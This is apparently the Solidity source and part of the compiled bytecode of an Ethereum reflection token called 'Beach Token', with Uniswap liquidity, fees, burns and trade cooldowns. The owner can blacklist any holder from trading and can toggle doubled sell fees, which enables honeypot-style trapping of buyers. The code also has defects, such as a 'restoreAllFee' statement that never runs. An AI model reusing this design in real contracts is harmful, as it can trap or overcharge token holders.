event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(_owner, newOwner);
_previousOwner = _owner ;
_owner = newOwner;
}
function previousOwner() public view returns (address) {
return _previousOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract ERC20_Beach is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
string private constant _name = "Beach Token";
string private constant _symbol = "BEACH";
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public _tFeeTotal;
uint256 public _BeachTokenBurned;
bool public _cooldownEnabled = true;
bool public tradeAllowed = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool public swapEnabled = false;
bool public feeEnabled = false;
bool private limitTX = false;
bool public doubleFeeEnable = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _reflection = 3;
uint256 private _contractFee = 10;
uint256 private _BeachTokenBurn = 2;
uint256 private _maxBuyAmount;
uint256 private buyLimitEnd;
address payable private _development;
address payable private _boost;
address public targetToken = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public boostFund = 0xa638F4Bb8202049eb4A6782511c3b8A64A2F90a1;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => User) private cooldown;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isBlacklisted;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event CooldownEnabledUpdated(bool _cooldown);
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address addr3) {
_development = addr1;
_boost = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_development] = true;
_isExcludedFromFee[_boost] = true;
_isExcludedFromFee[addr3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function setTargetAddress(address target_adr) external onlyOwner {
targetToken = target_adr;
}
function setExcludedFromFee(address _address,bool _bool) external onlyOwner {
address addr3 = _address;
_isExcludedFromFee[addr3] = _bool;
}
function setAddressIsBlackListed(address _address, bool _bool) external onlyOwner {
_isBlacklisted[_address] = _bool;
}
function viewIsBlackListed(address _address) public view returns(bool) {
return _isBlacklisted[_address];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeEnabled(bool enable) external onlyOwner {
feeEnabled = enable;
}
function setdoubleFeeEnabled( bool enable) external onlyOwner {
doubleFeeEnable = enable;
}
function setLimitTx(bool enable) external onlyOwner {
limitTX = enable;
}
function enableTrading(bool enable) external onlyOwner {
require(liquidityAdded);
tradeAllowed = enable;
// first 15 minutes after launch.
buyLimitEnd = block.timestamp + (900 seconds);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
feeEnabled = true;
limitTX = true;
_maxTxAmount = 1000000000000000 * 10**9;
_maxBuyAmount = 300000000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualSwapTokensForEth() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualDistributeETH() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
distributeETH(contractETHBalance);
}
function manualSwapEthForTargetToken(uint amount) external onlyOwner() {
swapETHfortargetToken(amount);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(tradeAllowed);
require(!_isBlacklisted[from] && !_isBlacklisted[to]);
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
if (limitTX) {
require(amount <= _maxTxAmount);
}
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
// 2min BUY cooldown
cooldown[to].buy = block.timestamp + (120 seconds);
}
// 5mins cooldown to SELL after a BUY to ban front-runner bots
cooldown[to].sell = block.timestamp + (300 seconds);
}
uint contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
swapETHfortargetToken(address(this).balance);
}
}
if(to == address(uniswapV2Pair) || to == address(uniswapV2Router) ) {
if (doubleFeeEnable) {
_reflection = 6;
_contractFee = 20;
_BeachTokenBurn = 4;
}
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
uint contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if (limitTX) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
}
uint initialETHBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint newETHBalance = address(this).balance;
uint ethToDistribute = newETHBalance.sub(initialETHBalance);
if (ethToDistribute > 0) {
distributeETH(ethToDistribute);
}
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || !feeEnabled) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function removeAllFee() private {
if (_reflection == 0 && _contractFee == 0 && _BeachTokenBurn == 0) return;
_reflection = 0;
_contractFee = 0;
_BeachTokenBurn = 0;
}
function restoreAllFee() private {
_reflection = 3;
_contractFee = 10;
_BeachTokenBurn = 2;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
(uint256 tAmount, uint256 tBurn) = _BeachTokenEthBurn(amount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, tBurn);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _BeachTokenEthBurn(uint amount) private returns (uint, uint) {
uint orgAmount = amount;
uint256 currentRate = _getRate();
uint256 tBurn = amount.mul(_BeachTokenBurn).div(100);
uint256 rBurn = tBurn.mul(currentRate);
_tTotal = _tTotal.sub(tBurn);
_rTotal = _rTotal.sub(rBurn);
_BeachTokenBurned = _BeachTokenBurned.add(tBurn);
return (orgAmount, tBurn);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount, uint256 tBurn) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _contractFee, tBurn);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 tBurn) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tBurn);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function swapETHfortargetToken(uint ethAmount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(targetToken);
_approve(address(this), address(uniswapV2Router), ethAmount);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmount}(ethAmount,path,address(boostFund),block.timestamp);
}
function distributeETH(uint256 amount) private {
_development.transfer(amount.div(10));
_boost.transfer(amount.div(2));
}
receive() external payable {}
}
|
0x60806040526004361061023f5760003560e01c80637b934dcd1161012e578063ca906717116100ab578063ed04ab1f1161006f578063ed04ab1f146107df578063f275f64b146107f4578063f2fde38b14610820578063fb1eb14b14610853578063fd8b23701461086857610246565b8063ca9067171461073b578063d543dbeb14610750578063db92dbb61461077a578063dd62ed3e1461078f578063e8078d94146107ca57610246565b8063a7ed143b116100f2578063a7ed143b1461066a578063a9059cbb1461067f578063a9fc35a9146106b8578063bb4167ea146106eb578063bebe766f1461072657610246565b80637b934dcd146105ea5780638da5cb5b1461061657806395d89b411461062b578063a2b1741214610640578063a771ebc71461065557610246565b80636612e66f116101bc57806370a082311161018057806370a0823114610537578063715018a61461056a57806372cb84b11461057f5780637a32bae4146105ab5780637a849d6f146105c057610246565b80636612e66f1461048a578063674f220f146104c557806368a3a6a5146104da5780636a66e9e31461050d5780636ddd17131461052257610246565b806323b872dd1161020357806323b872dd146103aa578063313ce567146103ed578063327107f71461041857806349bd5a5e146104495780635932ead11461045e57610246565b806306fdde031461024b578063095ea7b3146102d55780630db474fa1461032257806318160ddd146103505780631aaeeb871461037757610246565b3661024657005b600080fd5b34801561025757600080fd5b5061026061089b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029a578181015183820152602001610282565b50505050905090810190601f1680156102c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e157600080fd5b5061030e600480360360408110156102f857600080fd5b506001600160a01b0381351690602001356108c0565b604080519115158252519081900360200190f35b34801561032e57600080fd5b5061034e6004803603602081101561034557600080fd5b503515156108de565b005b34801561035c57600080fd5b50610365610956565b60408051918252519081900360200190f35b34801561038357600080fd5b5061030e6004803603602081101561039a57600080fd5b50356001600160a01b031661095c565b3480156103b657600080fd5b5061030e600480360360608110156103cd57600080fd5b506001600160a01b0381358116916020810135909116906040013561097a565b3480156103f957600080fd5b50610402610a01565b6040805160ff9092168252519081900360200190f35b34801561042457600080fd5b5061042d610a06565b604080516001600160a01b039092168252519081900360200190f35b34801561045557600080fd5b5061042d610a15565b34801561046a57600080fd5b5061034e6004803603602081101561048157600080fd5b50351515610a24565b34801561049657600080fd5b5061034e600480360360408110156104ad57600080fd5b506001600160a01b0381351690602001351515610ac8565b3480156104d157600080fd5b5061042d610b4b565b3480156104e657600080fd5b50610365600480360360208110156104fd57600080fd5b50356001600160a01b0316610b5a565b34801561051957600080fd5b5061034e610b77565b34801561052e57600080fd5b5061030e610bdc565b34801561054357600080fd5b506103656004803603602081101561055a57600080fd5b50356001600160a01b0316610bed565b34801561057657600080fd5b5061034e610c0f565b34801561058b57600080fd5b5061034e600480360360208110156105a257600080fd5b50351515610cb1565b3480156105b757600080fd5b5061030e610d2b565b3480156105cc57600080fd5b5061034e600480360360208110156105e357600080fd5b5035610d39565b3480156105f657600080fd5b5061034e6004803603602081101561060d57600080fd5b50351515610d9a565b34801561062257600080fd5b5061042d610e13565b34801561063757600080fd5b50610260610e22565b34801561064c57600080fd5b5061034e610e41565b34801561066157600080fd5b5061030e610eaf565b34801561067657600080fd5b5061042d610ebf565b34801561068b57600080fd5b5061030e600480360360408110156106a257600080fd5b506001600160a01b038135169060200135610ece565b3480156106c457600080fd5b50610365600480360360208110156106db57600080fd5b50356001600160a01b0316610ee2565b3480156106f757600080fd5b5061034e6004803603604081101561070e57600080fd5b506001600160a01b0381351690602001351515610f02565b34801561073257600080fd5b5061030e610f85565b34801561074757600080fd5b5061030e610f8e565b34801561075c57600080fd5b5061034e6004803603602081101561077357600080fd5b5035610f9e565b34801561078657600080fd5b506103656110a5565b34801561079b57600080fd5b50610365600480360360408110156107b257600080fd5b506001600160a01b03813581169160200135166110c2565b3480156107d657600080fd5b5061034e6110ed565b3480156107eb57600080fd5b506103656114a3565b34801561080057600080fd5b5061034e6004803603602081101561081757600080fd5b503515156114a9565b34801561082c57600080fd5b5061034e6004803603602081101561084357600080fd5b50356001600160a01b0316611538565b34801561085f57600080fd5b5061036561160c565b34801561087457600080fd5b5061034e6004803603602081101561088b57600080fd5b50356001600160a01b0316611612565b60408051808201909152600b81526a2132b0b1b4102a37b5b2b760a91b602082015290565b60006108d46108cd61168c565b8484611690565b5060015b92915050565b6108e661168c565b6000546001600160a01b03908116911614610936576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b60088054911515600160281b0265ff000000000019909216919091179055565b60045490565b6001600160a01b031660009081526018602052604090205460ff1690565b600061098784848461177c565b6109f78461099361168c565b6109f285604051806060016040528060288152602001612801602891396001600160a01b038a166000908152601560205260408120906109d161168c565b6001600160a01b031681526020810191909152604001600020549190611cc2565b611690565b5060019392505050565b600990565b6011546001600160a01b031681565b6003546001600160a01b031681565b610a2c61168c565b6000546001600160a01b03908116911614610a7c576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b6008805460ff191682151517908190556040805160ff90921615158252517f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706916020908290030190a150565b610ad061168c565b6000546001600160a01b03908116911614610b20576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b6001546001600160a01b031690565b6001600160a01b0316600090815260166020526040902054420390565b610b7f61168c565b6000546001600160a01b03908116911614610bcf576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b47610bd981611d59565b50565b600854640100000000900460ff1681565b6001600160a01b0381166000908152601360205260408120546108d890611de2565b610c1761168c565b6000546001600160a01b03908116911614610c67576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610cb961168c565b6000546001600160a01b03908116911614610d09576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b60088054911515600160381b0267ff0000000000000019909216919091179055565b600854610100900460ff1681565b610d4161168c565b6000546001600160a01b03908116911614610d91576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b610bd981611e42565b610da261168c565b6000546001600160a01b03908116911614610df2576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b60088054911515600160301b0266ff00000000000019909216919091179055565b6000546001600160a01b031690565b6040805180820190915260058152640848a8286960db1b602082015290565b610e4961168c565b6000546001600160a01b03908116911614610e99576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b6000610ea430610bed565b9050610bd981611ffb565b600854600160281b900460ff1681565b6012546001600160a01b031681565b60006108d4610edb61168c565b848461177c565b6001600160a01b0316600090815260166020526040902060010154420390565b610f0a61168c565b6000546001600160a01b03908116911614610f5a576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152601860205260409020805460ff1916911515919091179055565b60085460ff1681565b600854600160381b900460ff1681565b610fa661168c565b6000546001600160a01b03908116911614610ff6576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b6000811161104b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b61106b6064611065836004546121ca90919063ffffffff16565b90612223565b600981905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6003546000906110bd906001600160a01b0316610bed565b905090565b6001600160a01b03918216600090815260156020908152604080832093909416825291909152205490565b6110f561168c565b6000546001600160a01b03908116911614611145576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905560045490916111899130916001600160a01b031690611690565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b15801561123c57600080fd5b505afa158015611250573d6000803e3d6000fd5b505050506040513d602081101561126657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156112b857600080fd5b505af11580156112cc573d6000803e3d6000fd5b505050506040513d60208110156112e257600080fd5b5051600380546001600160a01b0319166001600160a01b039283161790556002541663f305d719473061131481610bed565b60008061131f610e13565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b15801561138a57600080fd5b505af115801561139e573d6000803e3d6000fd5b50505050506040513d60608110156113b557600080fd5b50506008805466ff0000000000001965ff00000000001962ff00001964ff00000000199093166401000000001792909216620100001791909116600160281b1716600160301b17905569d3c21bcecceda1000000600955693f870857a3e0e3800000600d556003546002546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b15801561147457600080fd5b505af1158015611488573d6000803e3d6000fd5b505050506040513d602081101561149e57600080fd5b505050565b60075481565b6114b161168c565b6000546001600160a01b03908116911614611501576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b60085462010000900460ff1661151657600080fd5b600880549115156101000261ff00199092169190911790556103844201600e55565b61154061168c565b6000546001600160a01b03908116911614611590576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b6001600160a01b0381166115a357600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360008054600180546001600160a01b038084166001600160a01b0319928316179092559091169216919091179055565b60065481565b61161a61168c565b6000546001600160a01b0390811691161461166a576040805162461bcd60e51b81526020600482018190526024820152600080516020612829833981519152604482015290519081900360640190fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166116d55760405162461bcd60e51b81526004018080602001828103825260248152602001806128976024913960400191505060405180910390fd5b6001600160a01b03821661171a5760405162461bcd60e51b81526004018080602001828103825260228152602001806127796022913960400191505060405180910390fd5b6001600160a01b03808416600081815260156020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166117c15760405162461bcd60e51b81526004018080602001828103825260258152602001806128726025913960400191505060405180910390fd5b6001600160a01b0382166118065760405162461bcd60e51b815260040180806020018281038252602381526020018061272c6023913960400191505060405180910390fd5b600081116118455760405162461bcd60e51b81526004018080602001828103825260298152602001806128496029913960400191505060405180910390fd5b61184d610e13565b6001600160a01b0316836001600160a01b0316141580156118875750611871610e13565b6001600160a01b0316826001600160a01b031614155b80156118ac57506001600160a01b03831660009081526017602052604090205460ff16155b80156118d157506001600160a01b03821660009081526017602052604090205460ff16155b15611c5057600854610100900460ff166118ea57600080fd5b6001600160a01b03831660009081526018602052604090205460ff1615801561192c57506001600160a01b03821660009081526018602052604090205460ff16155b61193557600080fd5b60085460ff16156119a9573360009081526016602052604090206002015460ff166119a957604080516060810182526000808252602080830182815260018486018181523385526016909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6003546001600160a01b0384811691161480156119d457506002546001600160a01b03838116911614155b15611ac957600854600160301b900460ff16156119fa576009548111156119fa57600080fd5b60085460ff1615611ab75742600e541115611a9357600d54811115611a1e57600080fd5b6001600160a01b0382166000908152601660205260409020544211611a745760405162461bcd60e51b815260040180806020018281038252602281526020018061279b6022913960400191505060405180910390fd5b6001600160a01b03821660009081526016602052604090206078420190555b6001600160a01b038216600090815260166020526040902061012c42016001909101555b478015611ac757611ac747611e42565b505b6003546001600160a01b0383811691161480611af257506002546001600160a01b038381169116145b15611c5057600854600160381b900460ff1615611b19576006600a556014600b556004600c555b60085460ff1615611b7d576001600160a01b0383166000908152601660205260409020600101544211611b7d5760405162461bcd60e51b81526004018080602001828103825260238152602001806127bd6023913960400191505060405180910390fd5b6000611b8830610bed565b6008549091506301000000900460ff16158015611bb357506003546001600160a01b03858116911614155b8015611bc95750600854640100000000900460ff165b15611c4e57600854600160301b900460ff1615611c225760038054611c08916064916110659190611c02906001600160a01b0316610bed565b906121ca565b8211158015611c1957506009548211155b611c2257600080fd5b47611c2c82611ffb565b476000611c398284612265565b90508015611c4a57611c4a81611d59565b5050505b505b6001600160a01b03831660009081526017602052604090205460019060ff1680611c9257506001600160a01b03831660009081526017602052604090205460ff165b80611ca75750600854600160281b900460ff16155b15611cb0575060005b611cbc848484846122a7565b50505050565b60008184841115611d515760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d16578181015183820152602001611cfe565b50505050905090810190601f168015611d435780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600f546001600160a01b03166108fc611d7383600a612223565b6040518115909202916000818181858888f19350505050158015611d9b573d6000803e3d6000fd5b506010546001600160a01b03166108fc611db6836002612223565b6040518115909202916000818181858888f19350505050158015611dde573d6000803e3d6000fd5b5050565b6000600554821115611e255760405162461bcd60e51b815260040180806020018281038252602a81526020018061274f602a913960400191505060405180910390fd5b6000611e2f6122d8565b9050611e3b8382612223565b9392505050565b6040805160028082526060820183526000926020830190803683375050600254604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015611ea757600080fd5b505afa158015611ebb573d6000803e3d6000fd5b505050506040513d6020811015611ed157600080fd5b505181518290600090611ee057fe5b6001600160a01b039283166020918202929092010152601154825191169082906001908110611f0b57fe5b6001600160a01b039283166020918202929092010152600254611f319130911684611690565b60025460125460405163b6f9de9560e01b8152600481018581526001600160a01b03928316604483018190524260648401819052608060248501908152875160848601528751959096169563b6f9de9595899586958a9594939092909160a401906020808801910280838360005b83811015611fb7578181015183820152602001611f9f565b50505050905001955050505050506000604051808303818588803b158015611fde57600080fd5b505af1158015611ff2573d6000803e3d6000fd5b50505050505050565b6008805463ff00000019166301000000179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061203d57fe5b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561209157600080fd5b505afa1580156120a5573d6000803e3d6000fd5b505050506040513d60208110156120bb57600080fd5b50518151829060019081106120cc57fe5b6001600160a01b0392831660209182029290920101526002546120f29130911684611690565b60025460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015612178578181015183820152602001612160565b505050509050019650505050505050600060405180830381600087803b1580156121a157600080fd5b505af11580156121b5573d6000803e3d6000fd5b50506008805463ff0000001916905550505050565b6000826121d9575060006108d8565b828202828482816121e657fe5b0414611e3b5760405162461bcd60e51b81526004018080602001828103825260218152602001806127e06021913960400191505060405180910390fd5b6000611e3b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122fb565b6000611e3b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cc2565b806122b4576122b4612360565b6122bf848484612398565b80611cbc57611cbc6003600a908155600b556002600c55565b60008060006122e56124b2565b90925090506122f48282612223565b9250505090565b6000818361234a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611d16578181015183820152602001611cfe565b50600083858161235657fe5b0495945050505050565b600a541580156123705750600b54155b801561237c5750600c54155b1561238657612396565b6000600a819055600b819055600c555b565b6000806123a4836124e9565b915091506000806000806000806123bb8888612562565b9550955095509550955095506123ff86601360008e6001600160a01b03166001600160a01b031681526020019081526020016000205461226590919063ffffffff16565b6001600160a01b03808d1660009081526013602052604080822093909355908c168152205461242e90866125c1565b6001600160a01b038b166000908152601360205260409020556124508161261b565b61245a8483612665565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050505050505050565b60055460045460009182916124c78282612223565b8210156124df576005546004549350935050506124e5565b90925090505b9091565b60008082816124f66122d8565b905060006125146064611065600c54896121ca90919063ffffffff16565b9050600061252282846121ca565b6004549091506125329083612265565b6004556005546125429082612265565b60055560075461255290836125c1565b6007555091935090915050915091565b60008060008060008060008060006125808b600a54600b548d612689565b92509250925060006125906122d8565b905060008060006125a38f8787876126db565b919e509c509a50959850939650919450505050509295509295509295565b600082820183811015611e3b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006126256122d8565b9050600061263383836121ca565b3060009081526013602052604090205490915061265090826125c1565b30600090815260136020526040902055505050565b6005546126729083612265565b60055560065461268290826125c1565b6006555050565b600080808061269d60646110658a